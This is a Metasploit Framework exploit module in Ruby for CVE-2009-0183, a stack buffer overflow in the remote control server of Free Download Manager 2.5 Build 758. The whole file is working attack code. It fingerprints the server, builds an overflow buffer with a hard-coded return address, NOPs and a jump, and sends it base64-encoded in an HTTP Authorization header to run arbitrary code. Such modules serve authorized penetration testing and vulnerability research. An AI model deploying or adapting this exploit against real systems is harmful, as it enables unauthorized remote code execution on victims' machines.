##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
# w/auth required: [*] x.x.x.x ( 401-Basic realm="FDM Remote control server" )
# w/o auth:
FDM remote control server
# w/o auth: Free Download Manager remote control server.
# Version 1.0.
# Extra url: /compdlds.req
HttpFingerprint = { :pattern => [ /(FDM Remote control server|Free Download Manager)/i ] } # XXX: A custom body check would be nice too
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Free Download Manager Remote Control Server Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Free Download Manager
Remote Control 2.5 Build 758. When sending a specially crafted
Authorization header, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-0183' ],
[ 'OSVDB', '51745' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x0d\x0a",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Privileged' => true,
'Platform' => 'win',
'Targets' =>
[
[ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 2 2009'))
end
def exploit
sploit = rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded
sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')
sploit = Rex::Text.encode_base64(sploit)
print_status("Trying target #{target.name}...")
send_request_raw(
{
'headers' => { 'Authorization' => "Basic #{sploit}" }
}, 2)
handler
disconnect
end
end